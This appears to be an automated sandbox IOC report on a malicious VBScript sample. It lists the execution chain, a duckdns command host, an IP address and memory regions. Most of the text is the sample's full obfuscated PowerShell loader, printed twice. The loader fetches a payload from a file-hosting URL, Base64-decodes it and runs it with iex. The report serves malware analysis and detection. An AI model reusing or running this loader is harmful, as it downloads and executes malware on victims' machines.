IOC Report
windows.vbs

windows.vbs

ASCII text, with CRLF line terminators

initial sample

C:\Windows\System32\wscript.exe

C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\windows.vbs"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$Coddle = 1;$Pararctalia='Su';$Pararctalia+='bstrin';$Pararctalia+='g';Function Tilsynsraads($Paradoxer){$Afprver=$Paradoxer.Length-$Coddle;For($Publikummer=5;$Publikummer -lt $Afprver;$Publikummer+=6){$Printerdefinitionerne+=$Paradoxer.$Pararctalia.Invoke( $Publikummer, $Coddle);}$Printerdefinitionerne;}function Handelsmssiges($Overimaginatively){& ($Nondiligently106) ($Overimaginatively);}$Toniskes=Tilsynsraads 'Mana,MWeddioFell,zUncomi C.pilNonbelstanga Ripo/Stakn5Forho.Mythi0 Unde Nonvo( DispW StaniEarthnU.vetdBrystoOutbiwUnives pakk Kirj.N eratTunst. Revo1Remit0tamgs.Brde.0 Rust;Tanch .onomWAntiriSansenomdri6Rip n4Lilje;M als AlloxDoxyc6Folkl4 marg;Oxa,i AmararGaskovRock,:Smile1Eleus2S.xte1recli. ,ndr0Ge.er)Henst BarbaGoutluegadsbcKindlkBumpio .lab/Capit2Vo.dt0Lenda1 She,0 Bus 0 her1Bes,y0Synge1Contr R.stiFDukkeiF.rberslingeEkspafEnteroImprexD,maj/Ureal1Lever2Polyp1 Micr. .gat0Buhko ';$Mellite=Tilsynsraads ' CranU Skams Txthe b rkrS.iff-PrenoALe.sigAlkohe VelsnMi.sitVoice ';$Overmuch=Tilsynsraads 'CurnehGemmitSievetRor.ypFr.bisE,xli:Lealn/Cara /T.ldfwTelotw E fawDamno.,orsmsKubepeTrkkrnUncubdNonlus verip SaloaInobtcAfleveSanda.Di.crc Syllo Wo,emS.ald/Bo.sepFe.rorSexbooKlapp/IntemdPhysilOu,ro/Daryltdisorbhe,vifLoadsv ,ephparr,udUfor. ';$Oscheolith=Tilsynsraads 'Sutte> Fluo ';$Nondiligently106=Tilsynsraads 'SkabeiDetrae.ligtxrub i ';$Taxaers='totemites';Handelsmssiges (Tilsynsraads 'HydroSObte.e SnostStipu-Aqua,CfoldeoSkuldn ,seut Bnd,e,aseknVerdetBlush Raps-StenrP.lotsaJern tTopo,hOkays S avkTCorra: Vara\Koer,FUdbrelKlippoTota pMandip Tid i OvernGymnoeOvervsGo alsStrmf.Unsa,t Ild.xDataot.dsta Rec.n-BlubbV aageaAbstilNonreuRan.feSlegf elon$Mist,Tmaraua Autox Rubia eloneMy derUnlansIncha;Forto ');Handelsmssiges (Tilsynsraads 'Behani Gra.fChalc Udfo ( sphotUdsigeKrukksWennitNy.ed-Paddop PlagavadostIngloh krue Ree eTStati:Hydro\ TobaF Semil,etstoLifesp F rmpD.spliForstnF iakeEs,ivsDk ensTer.i.Defort TechxCe trtLys.r)In ba{Srg,se Krusx,noggiMynd,ttilvi}Akti,; Kame ');$Strmpeholderens = Tilsynsraads 'G jstefornic Un thUnpawo Af r Rockw%SpatiaargolpAarempBu ked Nd aaSt,klt ScruaVictu%Va.id\ Und,Bm,llerEkspei Skama PagnrTelefbStrafeMisunrUnoblrMohamySprge.SekunM S.rdiEgnsplN kke Justi&Ell c&Lgelf rivieUnst cAdriah Likvo nage ,ape$Tactu ';Handelsmssiges (Tilsynsraads ' Nedf$NonligKoncelArts oDobb b D,oma K ynlBebyg:Be,tiPRevokr orsoTidsivMillii ,rdis SolaiTheopoRefern Promm B dleB strnAlte t ,akk=A del(grif cHexamm stild .egu Fedt/Affalc Indb Ska.e$CirkuSBal,lt TrigrroquemHjsp pSkimpe etalhSukkeo O.aclbeviddGlibnevan.urPreexeTidv.nSkrivsovers)Ricci ');Handelsmssiges (Tilsynsraads 'Optrd$skullg GruplstyrtoTrigobTriu,aArti,lStron:SkorzSPotbah .araaMonetdAlthio PlanwWidgi=Grnse$ S,inOKantav ,rane ,opcrBattamTipvou S.necRunouhA sol.Ou wrsSemicpDisa l BudsiChorttSemij(Succo$ atlaO.kytssFoodlcTuxedhS.ciaeOlavuo MumllAf.oliB,holtBalfahu.sol)Pregl ');$Overmuch=$Shadow[0];Handelsmssiges (Tilsynsraads 'Mdele$Trib.gThrallAb teoAnderbWa.fna rudelMinut:SlambS Achtp,lycoeTr,ttkHermauKyurilGerataCossetSem fiKrseloRevoln,verheT.bernKnebnsMetri=lyksaN StateInspiw Rein-PreauOPr kub Gennj,assieStarec Fivet Extr GalloSBaelgyPlje sUnhumtUnshoeUnaffm Kali.B.rtsNMi.abeSpiontAc ou.ConseWFremdeIndflbSkrm.CReb,ll aproiKnutseDelirn,leritRemi ');Handelsmssiges (Tilsynsraads 'Thind$HistrSNonsep ikole CammkStranuDemiulJuic,aUn ect Byg.iJenfooAppeln Ans eScentn.elefsOpera.Ja.ihHEg treTric aGammedBefarePer prInhausYderv[ Drab$ScrofMM.rcueColobl tanl Die,iDestrtPardae elfo].aron= Disk$AnthoTIn.sloPe gen So,riVandlsStjerkprv,pep eudsTilly ');$Suges=Tilsynsraads 'AfregSBramsp LipeeJordvk Pa,luFil,vlnotesaG.debtEnspnisogneoMyc.hnClarieMorgenS,uffsHyper.Ops aDSwineofarvew Pr,tnFremtlPrep.oKompla LanddVr.nsFReintiSereslPhotoeRot r(Pilik$EuropOGlasuvDesaveG.novrAllatmTrisauLdermcA.oophSalva,Stand$ IndoBN.phruWestbb igenaHerpelStileeInt,a)Affyr ';$Suges=$Provisionment[1]+$Suges;$Bubale=$Provisionment[0];Handelsmssiges (Tilsynsraads ' Lvsa$Ska pgUntrel sol.oUdkrsbSrintaVandalDyree:.ylenPCenterAuteciFaggynMycflt G ndeCyli r StivmMatfuaLimitnSammeublystaLaxnelGratasTheop=unt.n(Fj rkTCrypteUnr,ss.ndiatCrean- MoreP PedaaSubartSvrddhHors. Can,l$W.rkmBmilliuTauntboxidia atilUndere Oute)disqu ');while (!$Printermanuals) {Handelsmssiges (Tilsynsraads 'Ankep$ etamgPa lilCo.feoEpithbFysikaMaraglTampo:MulseM DybdaCrip.x RevaiA.putmN.rkoiPoritnCloud= oyol$Bo.dstudelurIn lauSpanse nre ') ;Handelsmssiges $Suges;Handelsmssiges (Tilsynsraads 'SeverSMunketPanoraNothorstvdrtStefa-Om.ilSF,rbilAa yneThyrae MaripTvist Bac,l4 iske ');Handelsmssiges (Tilsynsraads ',egae$KallugAn.iglStikboV,klebHangaaGr,ndlVe tb:WinetP Rod.rBefe.i ,rognostintKs.bleSan,erSkorsmKommaaStoddnFrst,uBere,a Hippl redisTas,e= Inte( FlerT SquaeOverasAnsigt Keci-coeliP Sam a DisktHoneyhAutom Chlor$JunkeBC.lliuMar.ebRhinoaPerf,lSkn,ee Mach)Fr dr ') ;Handelsmssiges (Tilsynsraads ' hodm$FeltdgsatirlJord,o Amphb FarvaDire lPdago:DagskPJuramadigasnRuneitRapereL.totlInduse T ergA.voke SansnFlopheTanha7Blind9Karto=Bur,a$SyncogHaemol No.do.ybvabspeciaKinemlSinte:PatriSLu,esiTrapemSk.nkoPol.enForfaiGaldeaStueecMartyaConcel Tr nlScouryKon.i+ Ford+Bre b%Tripl$ MyceSBetjehAllo,aAcrocdMdereoQu ntwSkvad.Work,c Sd uoScoffuSkelnnTepoytminar ') ;$Overmuch=$Shadow[$Pantelegene79];}$Arkitekttegnes=307942;$sybaritisk=28763;Handelsmssiges (Tilsynsraads 'T.ans$R,allgRoxanl Adreo ophobWi,liaMenthlEnhed:EoghaAV ksetMonteosmokim Javab PyocePrimav KirkbPlissn .kvue AmansSprjt P.eum=Halvg S.favGUdspae Vel.tRa,ca-H glsC Min.o jern .eklt.dehie,ptranAmatrtUnrot Assur$M demB ukkeuAccoubPlumbaUnconlNonareUdskr ');Handelsmssiges (Tilsynsraads 'All m$DancigSa.inlMedlio RepubfjendaN,nsclP,rio:KlavrA Baued SlughMatede Immaselastitri.av,orbueUnb.omGangaeCo,vet,surpeRob.arseams Bipon=om os Belve[FloriSBruteyInconsKommat FleteSaul.mSvikl. TetrCSalmioUd,tynPri.ovva.dleAnsttrSquamtFloss]Maj.s: A,to: AfkrFHjhusr C acoMystimIndtaB CigaaNy,ansTegnfeDehyd6Elfre4SprngS .yketStvdrrMar.viIn.ennWay,lgF,ktu(,rams$jepscAVersitArc,eoCedarm Tyv.bArmcheSu.fav W rtb TorbnPredee M,nusR hei)Micro ');Handelsmssiges (Tilsynsraads 'Selva$TidsrgNephil S,umoTroppbPrepeaD,ivml Bofo:M inmWBe reiNonzoeWrithnNon.eeFatt rArverp Ti slU eclsAt,mkeW.rldn Ond,sSorro deci= Digt Huntl[RenteSP adsy ProdsDdsaatProtaeC,rkumsubar..uffeTIndiveGravexoutp,tHum.e. rhveE,uartnUnb,ncBabasoPoss,dFar.eiS kiynBedimg Phal]Dezym:.nska:Mor.eAHydroSgell,CCabinIb.uttIprofe.EngleGpennae Respt.orurSB,evtt Ved.r.nciniMonofnAmplig,lugt(Foobo$Pa alA UdmudS.akeh Le,eeVikkes Tilsi,enovvServie GlatmHepateForvrt Af reS hisrMili )Irchi ');Handelsmssiges (Tilsynsraads 'Metri$un.ncgNeurolAfsigoTill,b DaniaKa.inlGaffe:mono SSim.lm Smkfi CephtI dhehAntipsDenomoSatisn Radi= Terp$SophiWDeperiKalkpeNonconP ydaePri trHeusepP ranlac.omsidolieTa,rgnLejemsKl.nt. Metas SkiluD,linbSyndrsDepo,t,gehvr ElefiForhanIndekg Exte(Dybfr$ThiouA H,ghrSanerkTilsliDe,astKap ie MakukFla stMyrert,hiaseopbudgKlov,nHexanePoachsO,era,Satur$UrinosOp,luyF.bribInwitaS udsrCacodiGi.gltFrdseiAl essUdplakhelic)Tilsl ');Handelsmssiges $Smithson;"

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "$Coddle = 1;$Pararctalia='Su';$Pararctalia+='bstrin';$Pararctalia+='g';Function Tilsynsraads($Paradoxer){$Afprver=$Paradoxer.Length-$Coddle;For($Publikummer=5;$Publikummer -lt $Afprver;$Publikummer+=6){$Printerdefinitionerne+=$Paradoxer.$Pararctalia.Invoke( $Publikummer, $Coddle);}$Printerdefinitionerne;}function Handelsmssiges($Overimaginatively){& ($Nondiligently106) ($Overimaginatively);}$Toniskes=Tilsynsraads 'Mana,MWeddioFell,zUncomi C.pilNonbelstanga Ripo/Stakn5Forho.Mythi0 Unde Nonvo( DispW StaniEarthnU.vetdBrystoOutbiwUnives pakk Kirj.N eratTunst. Revo1Remit0tamgs.Brde.0 Rust;Tanch .onomWAntiriSansenomdri6Rip n4Lilje;M als AlloxDoxyc6Folkl4 marg;Oxa,i AmararGaskovRock,:Smile1Eleus2S.xte1recli. ,ndr0Ge.er)Henst BarbaGoutluegadsbcKindlkBumpio .lab/Capit2Vo.dt0Lenda1 She,0 Bus 0 her1Bes,y0Synge1Contr R.stiFDukkeiF.rberslingeEkspafEnteroImprexD,maj/Ureal1Lever2Polyp1 Micr. .gat0Buhko ';$Mellite=Tilsynsraads ' CranU Skams Txthe b rkrS.iff-PrenoALe.sigAlkohe VelsnMi.sitVoice ';$Overmuch=Tilsynsraads 'CurnehGemmitSievetRor.ypFr.bisE,xli:Lealn/Cara /T.ldfwTelotw E fawDamno.,orsmsKubepeTrkkrnUncubdNonlus verip SaloaInobtcAfleveSanda.Di.crc Syllo Wo,emS.ald/Bo.sepFe.rorSexbooKlapp/IntemdPhysilOu,ro/Daryltdisorbhe,vifLoadsv ,ephparr,udUfor. ';$Oscheolith=Tilsynsraads 'Sutte> Fluo ';$Nondiligently106=Tilsynsraads 'SkabeiDetrae.ligtxrub i ';$Taxaers='totemites';Handelsmssiges (Tilsynsraads 'HydroSObte.e SnostStipu-Aqua,CfoldeoSkuldn ,seut Bnd,e,aseknVerdetBlush Raps-StenrP.lotsaJern tTopo,hOkays S avkTCorra: Vara\Koer,FUdbrelKlippoTota pMandip Tid i OvernGymnoeOvervsGo alsStrmf.Unsa,t Ild.xDataot.dsta Rec.n-BlubbV aageaAbstilNonreuRan.feSlegf elon$Mist,Tmaraua Autox Rubia eloneMy derUnlansIncha;Forto ');Handelsmssiges (Tilsynsraads 'Behani Gra.fChalc Udfo ( sphotUdsigeKrukksWennitNy.ed-Paddop PlagavadostIngloh krue Ree eTStati:Hydro\ TobaF Semil,etstoLifesp F rmpD.spliForstnF iakeEs,ivsDk ensTer.i.Defort TechxCe trtLys.r)In ba{Srg,se Krusx,noggiMynd,ttilvi}Akti,; Kame ');$Strmpeholderens = Tilsynsraads 'G jstefornic Un thUnpawo Af r Rockw%SpatiaargolpAarempBu ked Nd aaSt,klt ScruaVictu%Va.id\ Und,Bm,llerEkspei Skama PagnrTelefbStrafeMisunrUnoblrMohamySprge.SekunM S.rdiEgnsplN kke Justi&Ell c&Lgelf rivieUnst cAdriah Likvo nage ,ape$Tactu ';Handelsmssiges (Tilsynsraads ' Nedf$NonligKoncelArts oDobb b D,oma K ynlBebyg:Be,tiPRevokr orsoTidsivMillii ,rdis SolaiTheopoRefern Promm B dleB strnAlte t ,akk=A del(grif cHexamm stild .egu Fedt/Affalc Indb Ska.e$CirkuSBal,lt TrigrroquemHjsp pSkimpe etalhSukkeo O.aclbeviddGlibnevan.urPreexeTidv.nSkrivsovers)Ricci ');Handelsmssiges (Tilsynsraads 'Optrd$skullg GruplstyrtoTrigobTriu,aArti,lStron:SkorzSPotbah .araaMonetdAlthio PlanwWidgi=Grnse$ S,inOKantav ,rane ,opcrBattamTipvou S.necRunouhA sol.Ou wrsSemicpDisa l BudsiChorttSemij(Succo$ atlaO.kytssFoodlcTuxedhS.ciaeOlavuo MumllAf.oliB,holtBalfahu.sol)Pregl ');$Overmuch=$Shadow[0];Handelsmssiges (Tilsynsraads 'Mdele$Trib.gThrallAb teoAnderbWa.fna rudelMinut:SlambS Achtp,lycoeTr,ttkHermauKyurilGerataCossetSem fiKrseloRevoln,verheT.bernKnebnsMetri=lyksaN StateInspiw Rein-PreauOPr kub Gennj,assieStarec Fivet Extr GalloSBaelgyPlje sUnhumtUnshoeUnaffm Kali.B.rtsNMi.abeSpiontAc ou.ConseWFremdeIndflbSkrm.CReb,ll aproiKnutseDelirn,leritRemi ');Handelsmssiges (Tilsynsraads 'Thind$HistrSNonsep ikole CammkStranuDemiulJuic,aUn ect Byg.iJenfooAppeln Ans eScentn.elefsOpera.Ja.ihHEg treTric aGammedBefarePer prInhausYderv[ Drab$ScrofMM.rcueColobl tanl Die,iDestrtPardae elfo].aron= Disk$AnthoTIn.sloPe gen So,riVandlsStjerkprv,pep eudsTilly ');$Suges=Tilsynsraads 'AfregSBramsp LipeeJordvk Pa,luFil,vlnotesaG.debtEnspnisogneoMyc.hnClarieMorgenS,uffsHyper.Ops aDSwineofarvew Pr,tnFremtlPrep.oKompla LanddVr.nsFReintiSereslPhotoeRot r(Pilik$EuropOGlasuvDesaveG.novrAllatmTrisauLdermcA.oophSalva,Stand$ IndoBN.phruWestbb igenaHerpelStileeInt,a)Affyr ';$Suges=$Provisionment[1]+$Suges;$Bubale=$Provisionment[0];Handelsmssiges (Tilsynsraads ' Lvsa$Ska pgUntrel sol.oUdkrsbSrintaVandalDyree:.ylenPCenterAuteciFaggynMycflt G ndeCyli r StivmMatfuaLimitnSammeublystaLaxnelGratasTheop=unt.n(Fj rkTCrypteUnr,ss.ndiatCrean- MoreP PedaaSubartSvrddhHors. Can,l$W.rkmBmilliuTauntboxidia atilUndere Oute)disqu ');while (!$Printermanuals) {Handelsmssiges (Tilsynsraads 'Ankep$ etamgPa lilCo.feoEpithbFysikaMaraglTampo:MulseM DybdaCrip.x RevaiA.putmN.rkoiPoritnCloud= oyol$Bo.dstudelurIn lauSpanse nre ') ;Handelsmssiges $Suges;Handelsmssiges (Tilsynsraads 'SeverSMunketPanoraNothorstvdrtStefa-Om.ilSF,rbilAa yneThyrae MaripTvist Bac,l4 iske ');Handelsmssiges (Tilsynsraads ',egae$KallugAn.iglStikboV,klebHangaaGr,ndlVe tb:WinetP Rod.rBefe.i ,rognostintKs.bleSan,erSkorsmKommaaStoddnFrst,uBere,a Hippl redisTas,e= Inte( FlerT SquaeOverasAnsigt Keci-coeliP Sam a DisktHoneyhAutom Chlor$JunkeBC.lliuMar.ebRhinoaPerf,lSkn,ee Mach)Fr dr ') ;Handelsmssiges (Tilsynsraads ' hodm$FeltdgsatirlJord,o Amphb FarvaDire lPdago:DagskPJuramadigasnRuneitRapereL.totlInduse T ergA.voke SansnFlopheTanha7Blind9Karto=Bur,a$SyncogHaemol No.do.ybvabspeciaKinemlSinte:PatriSLu,esiTrapemSk.nkoPol.enForfaiGaldeaStueecMartyaConcel Tr nlScouryKon.i+ Ford+Bre b%Tripl$ MyceSBetjehAllo,aAcrocdMdereoQu ntwSkvad.Work,c Sd uoScoffuSkelnnTepoytminar ') ;$Overmuch=$Shadow[$Pantelegene79];}$Arkitekttegnes=307942;$sybaritisk=28763;Handelsmssiges (Tilsynsraads 'T.ans$R,allgRoxanl Adreo ophobWi,liaMenthlEnhed:EoghaAV ksetMonteosmokim Javab PyocePrimav KirkbPlissn .kvue AmansSprjt P.eum=Halvg S.favGUdspae Vel.tRa,ca-H glsC Min.o jern .eklt.dehie,ptranAmatrtUnrot Assur$M demB ukkeuAccoubPlumbaUnconlNonareUdskr ');Handelsmssiges (Tilsynsraads 'All m$DancigSa.inlMedlio RepubfjendaN,nsclP,rio:KlavrA Baued SlughMatede Immaselastitri.av,orbueUnb.omGangaeCo,vet,surpeRob.arseams Bipon=om os Belve[FloriSBruteyInconsKommat FleteSaul.mSvikl. TetrCSalmioUd,tynPri.ovva.dleAnsttrSquamtFloss]Maj.s: A,to: AfkrFHjhusr C acoMystimIndtaB CigaaNy,ansTegnfeDehyd6Elfre4SprngS .yketStvdrrMar.viIn.ennWay,lgF,ktu(,rams$jepscAVersitArc,eoCedarm Tyv.bArmcheSu.fav W rtb TorbnPredee M,nusR hei)Micro ');Handelsmssiges (Tilsynsraads 'Selva$TidsrgNephil S,umoTroppbPrepeaD,ivml Bofo:M inmWBe reiNonzoeWrithnNon.eeFatt rArverp Ti slU eclsAt,mkeW.rldn Ond,sSorro deci= Digt Huntl[RenteSP adsy ProdsDdsaatProtaeC,rkumsubar..uffeTIndiveGravexoutp,tHum.e. rhveE,uartnUnb,ncBabasoPoss,dFar.eiS kiynBedimg Phal]Dezym:.nska:Mor.eAHydroSgell,CCabinIb.uttIprofe.EngleGpennae Respt.orurSB,evtt Ved.r.nciniMonofnAmplig,lugt(Foobo$Pa alA UdmudS.akeh Le,eeVikkes Tilsi,enovvServie GlatmHepateForvrt Af reS hisrMili )Irchi ');Handelsmssiges (Tilsynsraads 'Metri$un.ncgNeurolAfsigoTill,b DaniaKa.inlGaffe:mono SSim.lm Smkfi CephtI dhehAntipsDenomoSatisn Radi= Terp$SophiWDeperiKalkpeNonconP ydaePri trHeusepP ranlac.omsidolieTa,rgnLejemsKl.nt. Metas SkiluD,linbSyndrsDepo,t,gehvr ElefiForhanIndekg Exte(Dybfr$ThiouA H,ghrSanerkTilsliDe,astKap ie MakukFla stMyrert,hiaseopbudgKlov,nHexanePoachsO,era,Satur$UrinosOp,luyF.bribInwitaS udsrCacodiGi.gltFrdseiAl essUdplakhelic)Tilsl ');Handelsmssiges $Smithson;"

C:\Program Files (x86)\Windows Mail\wab.exe

"C:\Program Files (x86)\windows mail\wab.exe"

http://pesterbdd.com/images/Pester.png

unknown

rachesxwdavid.duckdns.org

rachesxwdavid.duckdns.org

57.128.155.22

57.128.155.22

rachesxwdavid.duckdns.org

Belgium

5723000

trusted library allocation

page read and write

12C90073000

trusted library allocation

page read and write

8D34000

direct allocation

page execute and read and write

21D41000

trusted library allocation

page read and write

8450000

direct allocation

page execute and read and write